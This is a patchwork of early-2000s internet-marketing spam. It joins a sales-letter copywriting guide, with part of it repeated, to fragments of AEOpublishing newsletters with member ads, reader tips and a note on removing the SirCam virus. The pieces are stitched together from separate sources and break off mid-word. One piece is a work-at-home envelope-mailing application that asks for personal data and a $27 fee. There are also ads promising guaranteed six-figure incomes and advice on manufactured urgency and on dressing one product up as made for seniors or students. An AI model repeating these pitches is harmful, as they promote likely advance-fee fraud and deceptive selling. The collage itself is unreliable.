Delete.  Good grief, do they think I am an idiot or something?  Get real.  Don't make outrageous claims that are obviously not the truth.  You'll ruin your reputation. Let me tell you a simple universal fact that cannot be reversed.  Once you have been branded a liar, you will NEVER be anything but a liar.  It doesn't matter if you launch the most respectable, honest business available anywhere, people will always have doubt because they remember the crazy stuff you've said before.  Be believable. Don't exaggerate, mislead, stretch or distort the truth. 18) Be specific. Don't generalize your information, but rather be EXACT.  Instead of ""over 100 tips for losing weight"" use ""124 tips for losing weight."" By generalizing information, it creates doubt and questions in the reader's mind.  ""What am I really getting here?  Does he even know?"" When you use specific information, the reader begins to think, ""This person must have counted.  I know exactly what I can expect.""  ""Platitudes and generalities roll off the human understanding like water from a duck,"" wrote Claude Hopkins in his classic book ""Scientific Advertising."" ""They leave no impression whatsoever."" 19) Be complete. Tell the reader everything they would want to know about your product or service.  Answer all of their questions, anything they would want to consider before making a purchase.  Think about it from their point of view. Ask yourself, ""Why wouldn't I buy this?""  Then, address that in your sales letter.  Remove anything that would keep the reader from making the purchase. 20) Use testimonials to boost your sales.  Share actual excerpts from what your current customers are saying about your product or service. Many websites have an entire section or even a separate page that has endorsements and compliments listed.  Satisfied customers remove some of the doubt in the mind of the reader.  ""If these people have found a lot of value and benefit in the product, then I probably will too.""  Especially effective are testimonials from respected, well known ""authorities"" within your target field. 21) Use headlines over and over throughout the sales letter. A headline isn't just relegated to the beginning of your ad copy.  Use them frequently -but don't overuse.  A well- placed headline re-grabs the reader's attention, brings them deeper into the letter, and readies them for the next paragraph. You will want to spend as much time working on your headlines as you do the entire sales letter.  They are that important. 22) Avoid asking stupid questions.  ""Wouldn't you like to make $1,000,000 a year?"" ""Doesn't that sound great?"" ""Would you like to be as successful as I am?""  Avoid any question that insults the intelligence of your reader or makes them feel like they are inferior. 23) Offer a freebie even if the customer doesn't buy. If the customer decides he or she isn't going to make a purchase, then you want to follow-up with them later to try to influence them to buy in the future.  By offering a free item, you can  request their email address in order to obtain the freebie.  By doing this, you can now follow-up with the customer for a potential future sale. Additionally, you can continue the sales process by having your ad copy, banners, flyers, etc. within the free item. And, of course, if your free item is a high quality, useful product or service which impresses the customer, they probably will be back as a customer soon. 24) Use bonuses to overwhelm the reader.  One of the things that I have found very effective in writing sales letters is to include bonus items that OUT-VALUE the actual product I am offering.  Ginsu made this one famous. They were selling a set of steak knives, but before the commercial was finished, you had so many bonus items on the table it was hard to refuse. Make sure you provide quality bonuses and not some worthless, outdated junk that damages the credibility of your main offer. 25) Use connective phrases like ""But wait, there's more"" and ""But that's not all.""  These phrases effectively lead the reader from one paragraph to the next, particularly when the next paragraph is a bullet list of benefits, or leads into bonus items.  Again, the idea is MORE and MORE value and benefits to the reader. 26) Always include a deadline.  By including a deadline, you create a sense of urgency in the mind of the customer. ""If I don't order within 24 hours, then I won't get the bonuses.""  ""Oh no, there are only 10 items remaining, I've got to hurry.""  Let the customer know what they will be missing out on if they don't make the deadline. Remember, they won't miss out on your products or bonuses, they will miss out on all of the benefits of your products. Deadlines are very effective.  Every sales letter should have one. 27) Tell them exactly how to order.  Be clear as to the order process. Point them towards the order link.  Tell them what methods you offer. (I.E. credit cards, checks, etc.)  Make this process as simple and clear as can be. If it takes more than 2 steps, most people won't continue. 28)  Explain when the product will be delivered.  How quickly will the order be processed?  When will the order be available?  Let the customer know exactly what they can expect when they place their order.  The more specific you can be here, the better.  Let them know that you have a system in place.  ""Operators are standing by.""  Their order will be handled properly.  Tell them. 29) Offer a money back guarantee.  Take away their last reason to hold back.  Offer a ""no questions asked"" 30 day guarantee.  Most people may not realize this, but in most cases, it's the law of the land.  You are REQUIRED to give them their money back if they are not satisfied with the product or service.  Since it's the law anyway, why not make it a benefit. Let them know that they are purchasing your product or service RISK-FREE. 30) Instruct them to respond immediately.  Many people just need to read those words, ""Act Now!""  ""Order today!"" ""Click Here to Instantly Place Your Order.""  You've got them this far, now tell them what you want them to do.  Get them to ""Act Fast!""  Have you ever heard a mail order commercial on television that didn't prompt the viewer to order right way? 31) Include a post script.  People will always read the P.S.  Always. In fact, the P.S. is one of the MOST IMPORTANT parts of your sales letter. Why?  Because in many cases the visitor at your website will scroll immediately down to the end of your page to see how much it is going to cost.  A P.S. is a perfect place to recap your offer, so when they see your price tag, they will also see a very detailed description of what they will receive for their money. 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In fact, you can contact any of the 10,000 folks online selling web marketing resources, and they will all tell you emphatically, without question, no doubts whatsoever, that it is absolutely true. It's true. ANYONE can earn a living online.  Really, they can.  But, it takes several very important components to join the 5% who are successful on the web.      One of those necessities is a website.      Now, your website does one of two things...      ...it either makes the sale, or it doesn't. For 95% of online businesses, their websites simply do not produce results. And there is a very simple reason for poor performance. Poor sales letters. Does your website convince people to make a purchase? If not, here are 32 easy ways to breathe new life into your sales letter... 1) Write your sales letter with an individual in mind. Go ahead and pick out someone, a real person to write your sales letter to.  Doesn't matter if it is grandma or your next door neighbor or your cat.  Write your sales letter just like you are writing it to them personally.  Why? Because when your potential customer reads, it then it will seem personal, almost like you wrote it with them in mind. Too often, sales letters are written as if they were going to be read to an audience rather than one person.  Keep your sales letters personal, because one person at a time is going to read them. 2) Use an illustration to get your point across.  In my sales letters I have told stories about my car stalling on the side of the road to illustrate the idea that we must constantly add the fuel of advertising to keep our businesses running. I have compared the hype of easily making millions online to the chances of me riding bareback across Montana on a grizzly bear.  Leads have read of how getting to the top of an oak tree relates to aggressively marketing online. People love a good story that pounds home a solid message.  Tell stories that illustrate a point you are trying to make.  Emphasize a benefit by sharing an account from the ""real world.""  It effectively creates interest and further establishes the point. 3) Create an interest in the reader from the very first line.  Your first line of the sales letter should immediately create a desire in the reader to want to know more.  Go back to the beginning of this article.  The first words were, ""It's true.""  I can guarantee you that either consciously or subconsciously you thought ""What's true?"" Immediately, your mind wanted to know what I was talking about.  Before you even knew it you were right here, 8 paragraphs into this article.  Carefully craft your first line.  If you can immediately get them wanting to know more, you've got a winner. 4) Use bullets. People spend a lot of time reading bulleted lists. In fact, they often reread them over and over. Use bulleted lists to stress the benefits of your product or service, to spell out exactly what is included in your offer. Use an extra space in between each bullet to really highlight each line and create a sense of more length to the list. 5) Launch into a bullet list immediately.  Shortly after your opening line, immediately give the reader a bullet list of benefits to absorb.  Hit them with your best shot. Pull out the big guns and stress ""just a few of"" the most important things the reader will discover.  By offering a killer list early in your sales letter, you will automatically create a desire in the reader to continue through your ad copy.  After all, if they are already interested after the first list of benefits, they will certainly be open to finding out even more reasons why your product or service will aid them. 6) Just let it all flow out.  Write down everything that enters your mind as you are writing your sales letter. You can edit it later.  If you just sit and start writing everything you know about your product or service and how it will benefit your customer, you will be amazed at how much information floods your mind.  Write it ALL down.  Then read through it - you'll be able to add a lot more detail to many of the points.  Edit it after you have exhausted all of your ideas. 7) Make your sales letter personal.  Make sure that the words ""you"" and ""your"" are at least 4:1 over ""I"" and ""my."" Your ad copy must be written about YOUR CUSTOMER not yourself.  I'm not sure how the old advertising adage goes, but it's something like this, ""I don't care a thing about your lawn mower, I just care about my lawn.""  Leads aren't interested in you or your products, they are interested in themselves and their wants and needs.  When you are finished with your sales letter and have uploaded it to a test webpage, run a check at http://www.keywordcount.com and see what the ratio between ""you"" and ""your"" versus references to ""I,"" ""me,"" ""my,"" etc.  It's a free service.  Make sure it's at least 4:1 in favor of the customer. 8) Write like you speak.  Forget all of those rules that your grammar teacher taught you.  Write your sales letters in everyday language, just like you would talk in person. Don't be afraid to begin sentences with ""And"" or ""Because."" Don't worry about ending a sentence with a preposition. Write like you speak. Your sales letter isn't the great American novel, so don't write it like you are Ernest Hemingway. 9) Use short paragraphs consisting of 2-4 sentences each. Long copy works... but long paragraphs do not.  Use short paragraphs that lead into the next paragraph. Don't be afraid to use short sentences.  Like this one. Or this. See what I mean?  Shorter paragraphs keep the interest of the reader. Longer paragraphs cause eye strain and often force the reader to get distracted. 10)  Stress the benefits, not the features.  Again, readers want the burning question answered, ""What's in it for  me?""  What need is it going to meet? What want is it going to fill?  How is your product or service going to be of value or benefit to the reader?  Spell it out.  Don't focus on the features of your product or service , but rather how those features will add value to the life of your reader. For example:  If you are selling automobile tires, you may very well have the largest assortment of tires in the world, but who cares? I don't care about your selection. But, I do care about keeping my 3-month-old baby girl safe while we are traveling.  So, instead of focusing on your selection, you focus on the fact that my baby girl can be kept safe because you have a tire that will fit my car. You're not selling tires, you're selling safety for my family. Stress the benefits, not the features. 11) Keep the reader interested.  Some sales letters read like they are a manual trying to explain to me how I can perform some complicated surgery on my wife. They are filled with words and phrases that I need a dictionary to understand.  Unless you are writing to a very targeted audience, avoid using technical language that many readers might not understand. Keep it simple, using words, language and information that are easy to understand and follow. 12) Target your sales letter.  When you are finished with your final draft of the sales letter, target it to a specific audience.  For example: If you are selling a ""work at home"" product, then rewrite the sales letter by adding words in the headlines and ad copy that are targeted towards women who are homemakers.  Then, rewrite the same sales letter and target it to college students.  Write another letter targeting senior citizens.  Still another could be written to high school teachers wanting to earn extra income during summer vacation.  The possibilities are endless. All you need to do is add a few words here and there in your ad copy to make it appear that your product or service is specifically designed for a target audience. ""Work only 5 hours a week,"" would become ""College Students, work only 5 hours a week.""  Your sales letter is now targeted. Upload all of the sales letters to separate pages on your website (you could easily target 100's of groups). Then, simply advertise the targeted pages in targeted mediums.  You could advertise the ""College Students"" page in a campus ezine.  The ""Senior Citizens"" page could be advertised at a retirement community message board. By creating these targeted sales letters, you can literally open up dozens of new groups to sell your existing product to.  And, in their eyes, it looks like the product was a match made for them. 13) Make your ad copy easy to follow.  Use short sentences and paragraphs. Break up the sales letter with attention grabbing headlines that lead into the next paragraph. One thing that I have always found to work very well in sales letters...      ...is to use a pause like this. Start the sentence on one line, leaving the reader wanting to know more, and then finishing up on the next line. Also, if you are going to use a sales letter that continues on several different pages of your website, use a catchy hook line at the end of each page to keep them clicking. ""Let's get you started down the road to success, shall we? CLICK HERE to continue."" 14) Use similes and metaphors for effect.  When the customer purchases your product, they will generate ""a flood of traffic that would make Noah start building another ark."" If they do not order today, then they will ""feel like a cat that let the mouse get away.""  Use words to create a picture in the readers' mind.  When you think of Superman, what comes to mind?  Immediately, we remember that he is ""faster than a speeding bullet.""  ""More powerful than a locomotive."" ""Able to leap tall buildings in a single bound."" See how word pictures stick in our minds? 15) Focus on one product or service.  Don't try to sell your customer multiple products at the same time. It only confuses the reader.  Keep your ad copy directed at one specific product or service.  Then, use other products and services as back-end products. 16) Make it stand out.  Don't kid yourself.  There are hundreds, maybe thousands out there on the web doing the same thing you are doing.  How will you stand out among the crowd?  Your sales letter must inject personality. It must breathe of originality.  Your product or service is different. It's not like all of the rest.  It is unique. Right? Your sales letter must separate you from the competition.  It must create a feeling of ""You won't find this anywhere else."" 17) Be believable. ""Earn $54,000 in the next 24 hours!!!"" Delete.  Good grief, do they think I am an idiot or something?  Get real.  Don't make outrageous claims that are obviously not the truth.  You'll ruin your reputation. Let me tell you a simple universal fact that cannot be reversed.  Once you have been branded a liar, you will NEVER be anything but a liar.  It doesn't matter if you launch the most respectable, honest business available anywhere, people will always have doubt because they remember the crazy stuff you've said before.  Be believable. Don't exaggerate, mislead, stretch or distort the truth. 18) Be specific. Don't generalize your information, but rather be EXACT.  Instead of ""over 100 tips for losing weight"" use ""124 tips for losing weight."" By generalizing information, it creates doubt and questions in the reader's mind.  ""What am I really getting here?  Does he even know?"" When you use specific information, the reader begins to think, ""This person must have counted.  I know exactly what I can expect.""  ""Platitudes and generalities roll off the human understanding like water from a duck,"" wrote Claude Hopkins in his classic book ""Scientific Advertising."" ""They leave no impression whatsoever."" 19) Be complete. Tell the reader everything they would want to know about your product or service.  Answer all of their questions, anything they would want to consider before making a purchase.  Think about it from their point of view. Ask yourself, ""Why wouldn't I buy this?""  Then, address that in your sales letter.  Remove anything that would keep the reader from making the purchase. 20) Use testimonials to boost your sales.  Share actual excerpts from what your current customers are saying about your product or service. Many websites have an entire section or even a separate page that has endorsements and compliments listed.  Satisfied customers remove some of the doubt in the mind of the reader.  ""If these people have found a lot of value and benefit in the product, then I probably will too.""  Especially effective are testimonials from respected, well known ""authorities"" within your target field. 21) Use headlines over and over throughout the sales letter. A headline isn't just relegated to the beginning of your ad copy.  Use them frequently -but don't overuse.  A well- placed headline re-grabs the reader's attention, brings them deeper into the letter, and readies them for the next paragraph. You will want to spend as much time working on your headlines as you do the entire sales letter.  They are that important. 22) Avoid asking stupid questions.  ""Wouldn't you like to make $1,000,000 a year?"" ""Doesn't that sound great?"" ""Would you like to be as successful as I am?""  Avoid any question that insults the intelligence of your reader or makes them feel like they are inferior. 23) Offer a freebie even if the customer doesn't buy. If the customer decides he or she isn't going to make a purchase, then you want to follow-up with them later to try to influence them to buy in the future.  By offering a free item, you can  request their email address in order to obtain the freebie.  By doing this, you can now follow-up with the customer for a potential future sale. Additionally, you can continue the sales process by having your ad copy, banners, flyers, etc. within the free item. And, of course, if your free item is a high quality, useful product or service which impresses the customer, they probably will be back as a customer soon. 24) Use bonuses to overwhelm the reader.  One of the things that I have found very effective in writing sales letters is to include bonus items that OUT-VALUE the actual product I am offering.  Ginsu made this one famous. They were selling a set of steak knives, but before the commercial was finished, you had so many bonus items on the table it was hard to refuse. Make sure you provide quality bonuses and not some worthless, outdated junk that damages the credibility of your main offer. 25) Use connective phrases like ""But wait, there's more"" and ""But that's not all.""  These phrases effectively lead the reader from one paragraph to the next, particularly when the next paragraph is a bullet list of benefits, or leads into bonus items.  Again, the idea is MORE and MORE value and benefits to the reader. 26) Always include a deadline.  By including a deadline, you create a sense of urgency in the mind of the customer. ""If I don't order within 24 hours, then I won't get the bonuses.""  ""Oh no, there are only 10 items remaining, I've got to hurry.""  Let the customer know what they will be missing out on if they don't make the deadline. Remember, they won't miss out on your products or bonuses, they will miss out on all of the benefits of your products. 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(4) Follow all instructions when processing and mailing. (5) If you find yourself pressed for time, you can stop work with us and come back at a later date, but we must insist you maintain a high level of quality when processing and mailing. OUR STEP-BY-STEP SYSTEM OF BROCHURE MAILING IS SIMPLE AND OUR INSTRUCTIONS ARE WRITTEN IN AN EASY TO FOLLOW LANGUAGE. There is a way to earn a substantial income at home... The Home-Mailers Program. YOUR SERVICES ARE NEEDED NOW. Please Respond Today! Positions are limited and time can affect your acceptance for desired positions. FILL OUT APPLICATION AND RETURN TO OUR ADDRESS BELOW Last Name:____________________ First Name:_______________________ Mailing Address:_________________________________________________ City:____________________________ State:_______________________ Zip Code:______________________ Home Tel.#: (_______)________-_________ Age:______ Date of Birth:_____/_____/______ E-mail Address:______________________________ Do you work more than 40 hours per week? [ ]Yes [ ]No (READ AND SIGN BELOW) By signing, I state that I am interested in becoming a Home-Mailer for your company and wish to have all of the necessary materials and instructions sent to me at the above address. Signature_______________________________ Date:______/______/______ Code # CY0795 **Processing fee must be in US FUNDS ONLY please.** *If applicant is under 18 have a guardian sign above and indicate age of applicant. *If you don't have access to a printer, you may copy the application onto regular notebook paper. Please use pen. (NOTE: Please be sure to include the Code # on your application. Applications without a Code # can not be processed.) *All fees are one time fees. You will not be required, asked, or need to pay us any other fees to stay with us and stay as long as you like. All potential pay rates are Guaranteed! *Please note that personal checks may be held up to 30 days for bank clearance. If you are eager to get started, you should use a Money Order for your processing fee. Send Application and a $27.00 Check or Money Order (US FUNDS ONLY) made payable to NetServ Send to: NetServ 2135A des Laurentides Blvd Suite 174 Laval, Quebec, Canada H7M 4M2 Because we are a company recruiting people from the public we must assure you that we are the BEST company to work with and that we provide the MOST PROFITABLE income. Because we require an initial fee to get started, many people are skeptical, and miss out on a great opportunity. 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The problem is simply that,who if anyone would type the keyword zesto, therefore we must try to build our brand by ensuring that generic keywords associated with our products (citrus peel) are used throughout our site as well as search engine submissions. Fortunately owning a non generic domain short, easy to remember and trademarked works in our favor because the marketability potential is limitless. Arlene Turner http://www.zesto.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To change your subscribed address, send both new and old address to Submit See below for unsubscribe instructions. Please send suggestions and comments to: Editor I invite you to send your real successes and showcase your strategies and techniques, or yes, even your total bombs, ""Working Together We Can All Prosper."" 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Most successful people follow simple, clear, repeatedly-proven strategies to succeed, whether on the Net or off. But, when it comes to someone asking for advice, consultation, or simply asking, ""What's your secret?"", I have to blush & say ... Persistence and personality. Of course, I always follow the advice with my own little disclaimer: What makes ME successful may not work the same for YOU ... & your first lesson is to get over the deep-seeded idea that success - of any kind, in my opinion - is somehow an unknown, unattainable secret. Clearly, it is not. It's not unknown. It's not unattainable. It's not years of digging to find the ""secrets"" to internet riches. One thing that ""gets to me"" so often in my work as an Internet Consultant, author and Internet Success Strategist is that so many people on the Net seem to have this incredibly huge mental block that stands between themselves and success on the Net. It's almost as if they've been barraged by so many claims of what works and what doesn't work, and so many LONG, complicated routes to actually succeeding in their online venture, that ""success"" is the equivelant of a 100-foot high brick wall. It's NOT that difficult, my friends! It is NOT that complicated!! Long-time friend and business associate Rick Beneteau has a new eBook out called Branding YOU & Breaking the Bank. Get it!! http://www.roibot.com/bybb.cgi?IM7517_bybtb . But, the reason I mention this is the fact that he talks so dynamically about the true simplicity of making your online venture a success. And, yes, Rick & I come from the same school of ""self marketing"" - marketing YOU! Obviously, that's the core of his excellent new ebook, and I couldn't agree with him more. Point being, *you* ARE everything you do online to succeed. You ARE your web site, your business, your marketing piece, your customer service, your customers' experiences with your business -- ALL of it, is YOU! Read his ebook & you'll see more of what I'm saying. The matter at hand is that brick wall you might have standing high as you can see, blocking the path between you & internet success. Listen to me - it is not real OK? It doesn't exist. There's nothing there to fear to begin with ... get over it!! What I'm telling you is, the only thing standing between you and the success you most desire ... is yourself. When you realize this, you will tear down that brick wall by means of complete and instantaneous disintegration. It will no longer exist *in your mind*, which is the only ""real"" place it ever was anyhow! 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The growth of our customer base shopping on line has grown outside of anyone's expectations.......certainly mine and I've been in this business for 25 years. The Internet is not dead in the horse business, it is just getting it's legs, and the folks using it want to get all the ancillary services on-line as well. Our site (the first we've developed) has exceeded our expectations, and we aren't satisfied with it yet.......we just wanted to get it there for information! Jeff and Rebecca Marks http://www.grand-champion.com ------------------------------------------------- Branding. While quality customer service and product have been and will always be our top priority brand building Zesto is our most challenging task. Zesto.com ranks very high and most often #1 or 2 on all major search engines and directories even Yahoo entering the keyword zesto. The problem is simply that,who if anyone would type the keyword zesto, therefore we must try to build our brand by ensuring that generic keywords associated with our products (citrus peel) are used throughout our site as well as search engine submissions. Fortunately owning a non generic domain short, easy to remember and trademarked works in our favor because the marketability potential is limitless. Arlene Turner http://www.zesto.com   To change your subscribed address, send both new and old address to Submit See below for unsubscribe instructions. Please send suggestions and comments to: Editor I invite you to send your real successes and showcase your strategies and techniques, or yes, even your total bombs, ""Working Together We Can All Prosper."" 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The printed media is very valuable to promote my presence on the internet. Having a website is just like having a ""sign-post in the desert"". Without anyone knowing where to look to find you, your website is a museum with no visitors. -- Jerry P. http://www.wealthtoday.net/key4health =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To change your subscribed address, send both new and old address to mailto:Submit@AEOpublishing.com See the link (below) for our Subscription Center to unsubscribe or edit your interests. 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Visit our Subscription Center to edit your interests or unsubscribe. http://ccprod.roving.com/roving/d.jsp?p=oo&id=bd7n7877.l89m7847&m=bd7n7877&ea=jm@netnoteinc.com View our privacy policy: http://ccprod.roving.com/roving/CCPrivacyPolicy.jsp Powered by Constant Contact(R) www.constantcontact.com --261908501.996294421526.JavaMail.RovAdmin.rovweb003 Content-Type: text/html; charset=iso-8859-1 Your Membership Community & Commentary, 07-27-01 Your Membership Community & Commentary It's All About Making Money July 27, 2001 in this issue 5 Ways to Create a Unique Website Member Showcase Commentary Quick Tips Win A FREE Ad In Community & Commentary Today's Special Announcement: Absolute Gifts Etc. Offers thousand of high quality gifts & unique collectibles. At wholesales prices, Some items are ""Exclusive"" and were designed for our collection only. Lots of freebees! Plus bonus bucks will save you even more. Business opportunities,Total weight loss system & much more! www.absolutegiftsetc.com     You are a member in at least one of these programs - You should be in them all! BannersGoMLM.com ProfitBanners.com CashPromotions.com MySiteInc.com TimsHomeTownStories.com FreeLinksNetwork.com MyShoppingPlace.com BannerCo-op.com PutPEEL.com PutPEEL.net SELLinternetACCESS.com Be-Your-Own-ISP.com SeventhPower.com Information to provide you with the absolute best low and no cost ways of providing traffic to your site, helping you to capitalize on the power and potential the web brings to every Net-Preneur. --- This Issue Contains Sites Who Will Trade Links With You! --- 5 Ways to Create a Unique WebsiteInternet users have no doubt seen several websites of identical design. This is often because webmasters do not have the ability or time to design and create unique websites. These five points will help you come up with a one-of-a-kind design for your website. 1. Navigation System Deciding on a navigation system should be one of the first things to consider when designing your website. Visitors usually look for a way to get to the information they want before reading anything else. I would suggest putting your navigation system in two areas. Look at WebmasterBase (http://www.webmasterbase.com) for example. There is a list of categories on the left, and information about the network on the top bar. It is not recommended that you place your navigation at the bottom of the page because: - People see the top of the page first - If you have a lot of content on one page, the navigation     gets pushed to bottom of the page... away from the visitor. 2. Color Scheme When you are choosing colors, make sure they contrast. For example, do not use bright green and florescent pink. Some colors that are often used are white on black or black on white. A wonderful utility that is web-based and free is Color Schemer (http://www.godigitalstudios.com/www/color/), created by Aaron Epstein. Many other programs exist that can assist you in choosing colors. Try doing a search on FreewareFiles (http://www.freewarefiles.com), Tucows (http://www.tucows.com), or Download.com (http://www.download.com) for ""color schemer."" 3. Content Window This is the brain of the website. Make sure that the text here is easy to read and understand. Also, provide your own original content. People do not want to hear what somebody else has to say. They want to hear what you want to say! While it might be time consuming to write your own content, it sure is worth it. To find content for your website, try searching at EzineArticles (http://www.ezinearticles.com). Other people may have used the articles, but if you become good friends with the authors, they may send you new content as they write it. Be careful though. Do not use too much content from other authors, as mentioned above. 4. Font(s) Several types of fonts exist. The first one I will discuss is fixed width or monospace, similar to Courier or Courier New. Fixed width fonts are good for displaying code (like HTML.) Another type of font is called sans serif. It is similar to Arial (Windows) or Helvetica (Macintosh). This font can be used for long pieces of text. The final type of font is called serif because it has serifs, or curves, in each letter. Often, this font is called Times (Windows) or Georgia (Macintosh). This font, like sans serif, is often used for long blocks of text. It is preferred because its rounded edges lead the reader to the next letter, making it easier to read. 5. Advertising Ah, everybody's favorite... advertising! This is one of thing that almost every website has. The most common type is what is known as ""banner"" advertising. It is called that because it is long and thin (like a paper banner.) How long you ask? The generic kind is 468 pixels wide by 60 pixels high. New sizes however are being used. Take for example the new style called ""skyscraper"" -- so called for a reason: it looks like a skyscraper. It is tall (about 425 pixels) but not too wide (about 100-125 pixels.) Finding a way to place advertising can be tricky. Banners used to be placed (and still are) only at the top of the page.  Nevertheless, banners are starting to be placed in the middle of the page, at the bottom, or along the side. Conclusion These are only five things to consider when designing a website. There are many others however. Let me know what you find that helps you create a unique website. My email address is mailto:corbb@justforwebmasters.com. ------------------------------------- About the Author... Written by Corbb O'Connor. Corbb is the Webmaster of http://www.justforwebmasters.com, a website that focuses on teaching Webmasters how to create, gain traffic to, and make money from their own websites. He is also the editor of a FREE bi-weekly newsletter entitled, ""The Guided Webmaster."" To subscribe now, send an email to: mailto:subscribe@justforwebmasters.com?subject=article-subscribe. Information about this newsletter can be obtained from his website. Member ShowcaseExamine carefully - Those with email addresses included WILL TRADE LINKS with you... You are encouraged to contact them. There Are Many Ways To Build A Successful Business - Just look at these successful sites & programs other members are involved in... ------------------------------------------------- Life Without Debt! What would you do with 5,000 10,000 20,000 100,000? A ""Dream Team"" of heavy hitters are gathering to promote Life Without Debt. Get in NOW to receive Massive spillover in the 2x matrix. http://trafficentral.com/lwd/index.htm --------------------------------------------------------------------- EARN $100,000+ PER YEAR! - FULLY GUARANTEED! We do all the selling for you, 365 days a year! We also offer you a GUARANTEED INCOME of up to $100,000+p.a. - working just 2 hours a day. GUARANTEED http://www.ArmchairTycoon.com/profits2you Trade Links - mailto:walter@profits2you.com --------------------------------------------------------------------- CashPO is Paid E-Mail Central! Get FREE REFERRALS, _KEEP_ referrals when new programs are added; free advertising to other members, and soon chances to win cash! http://www.cashpo.net/CashPO/openpage.php4?c=2 --------------------------------------------------------------------- JUST BEEN RELEASED!! Internet Marketing guru Corey Rudl has just released a BRAND NEW VERSION of his #1 best-selling Internet Marketing Course,""The Insider Secret's to Marketing Your Business on the Internet"". A MUST HAVE! So don't hesitate, visit.. http://www.adminder.com/c.cgi?start&bgmlmezine ------------------------------------------------- If you have a product, service, opportunity or quality merchandise that appeals to people worldwide, reach your targeted audience! For a fraction of what other large newsletters charge you can exhibit your website here, and trade links for only $8 CPM.  Compare that to the industry average of $10-$15 CPM. Why?... Because as a valuable member we want you to be successful! Order today - Showcases are limited and published on a first come, first serve basis. For our secure order form, click here: http://bannersgomlm.com/ezine Commentary Quick TipsProduct Recommendation: If you don't have a fax machine, or your phone, computer, and fax all share the same line, you should check out http://www.efax.com.  You can get a unique phone number and receive faxes and voicemail sent to you via email, all totally free.  It's been a life saver for me. Submitted by JT Timmer Animal_Instincts@RagingBull.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Do you have a marketing hint, product recommendation, or online gem of wisdom you'd like to share with your fellow subscribers? With your 2 - 10 line Quick Tip include your name and URL or email address and  we'll give you credit for your words of wisdom. And, if you're looking for free advertising, this isn't the place - check out the 'One Question Survey' below for a great free advertising offer. Send it in to mailto:Submit@AEOpublishing.com with 'Quick Tip' in the Subject block. Win A FREE Ad In Community & CommentaryTo keep this interesting, how about this, every month we'll draw a name from the replies and that person will win one Sponsorship Showcase in the Community & Commentary, for FREE. That's a value of over $800.00! Respond to each weekly survey, and increase your chances to win with four separate entries.  QUESTION OF THE WEEK (07/27/01)...  No right or wrong answers, and just by answering  you are entered to win a Sponsorship Showcase  - Free!  ~~~ Are you concerned about identity theft online? ~~~ yes    mailto:yes@AEOpublishing.com no    mailto:no@AEOpublishing.com To make this as easy as possible for you, just click on the hyperlinked answer to send us an e-mail  - you do not need to enter any information in the subject or body of the message. ** ADD YOUR COMMENTS!  Follow directions above and add your comments in the body of the message, and we'll post the best commentaries along with the responses. You will automatically be entered in our drawing for a free Sponsorship ad in the Community & Commentary. Please respond only one time per question.  Multiple responses from the same individual will be discarded. Last Weeks's Survey Results (07/20/01)  ~~~ Do you promote your website only online? ~~~ yes   45% no    55% Comments: ~~~~~~~~~ ""Just because we're working online doesn't mean we should forget to market offline as well.  Heck, some days I get more leads in the supermarket than I do online."" -- Henry C.  http://www.fastersurfing.com ~~~~~~~~~ ""I attach mailing labels with my message printed on them on the back of my business cards, on flyers, brochures or anything that I hand out to my customers."" -- Rick A.   http://www.iprocenter.com/rickarmstrong ~~~~~~~~~ ""I promote my business opportunity website both online and offline. The printed media is very valuable to promote my presence on the internet. Having a website is just like having a ""sign-post in the desert"". Without anyone knowing where to look to find you, your website is a museum with no visitors. -- Jerry P.    http://www.wealthtoday.net/key4health To change your subscribed address, send both new and old address to Submit See the link (to the left) for our Subscription Center to unsubscribe or edit your interests. Please send suggestions and comments to: Editor I invite you to send your real successes and showcase your strategies and techniques, or yes, even your total bombs, ""Working Together We Can All Prosper."" Submit For information on how to sponsor Your Membership Community & Commentary visit: Sponsorship Showcase Copyright 2001 AEOpublishing.com :: visit our site This email was sent to jm@netnoteinc.com, at your request, by Your Membership Newsletter Services. Visit our Subscription Center to edit your interests or unsubscribe. View our privacy policy. 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Share it and help other members save time, frustration, and a few steps in the learning curve. Submit your ideas, tips and information to MyInput@AEOpublishing.com From: Richard DeLong - homeaffiliate@mail.com Subject: More on the SirCam virus In Exchange Issue #440, JT wrote... >It's called the SirCam virus, and when it spreads, it sends >an apparently random file from the harddrives of infected >computers along with it. ANY file on your machine could >be copied and sent to hundreds of other users. I also have received both the virus and email on how to get rid of it. Luckily I don't open ANY attachments, unless I'm expecting them and then am still very careful. Here's the ways I was told to get rid of the thing: One Fix Tool: Download fix_sircam.com and run the file. It will scan Drive C:\ and subfolders and runs in DOS. http://www.antivirus.com/vinfo/security/fix_sircam.com Another Trojan Fix Tool http://www.sarc.com/avcenter/FixSirc.com The fix tool will run from your desktop and will ""automatically"" rid your computer from the SirCam Trojan and clean up an entries from your registry files. After running either fix tool -- reboot your system. Hope this helps! Richard homeaffiliate@mail.com >>>>>> QUESTIONS & ANSWERS <<<<<< Submit your questions & answers to MyInput@AEOpublishing.com ANSWERS: From: WonderPaint - support@wonderpaint.com Subject: Many factors in the operating system that cause conflicts >From: NICETY7078@aol.com >Subject: What can I do about my computer freezing? (Issue #439) > >My computer freezes when I use AOL and sometimes when >I'm just using the basic functions of Windows 98. My >defragmentor keeps starting over and over and my scan >disk never finds anything wrong, but there has to be. Dear Nicety, As regards your problem with Windoze freezing and locking up your computer I'm afraid your ""SOL"" as finding a true solution. There are many factors in the operating system that cause conflicts resulting in a locked machine. One major problem is that many programs don't release memory when you exit. When working in Windoze I've always taken the approach of rebooting on a regular basis before I've had problems, especially if I've opened and closed several different applications. Back in August 1999 John Kirch, a Microsoft Certified Professional, wrote an extensive article discussing the merits of a *nix operating system vs Windows NT. You can read it at http://www.unix-vs-nt.org/kirch/. What was true back then is even truer today. Every current ""worm"" you are hearing about on the news lately occurs in Windoze operating systems. So, IMHO, the solution to your machine locking-up is to change the OS. Running Linux, my machine has been up for periods of weeks at a time with no need to reboot. In over a year of running I can count the lock-ups on one hand and have fingers left over. I have more software installed than I ever had in Windoze ... and the price is right -- free. Jim Shofstall webmaster@wonderpaint.com http://www.wonderpaint.com ______________________________________________________ >>>>>> WEBSITE SHOWCASES <<<<<< Examine carefully - those with email addresses included WILL trade links with you, you are encouraged to contact them. And, there are many ways to build a successful business. Just look at these successful sites/programs other members are involved in... ------------------------------------------------- Stop! - Find Out If You Qualify... to Make $339-$527 A Week On-line or Off-line... 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It's 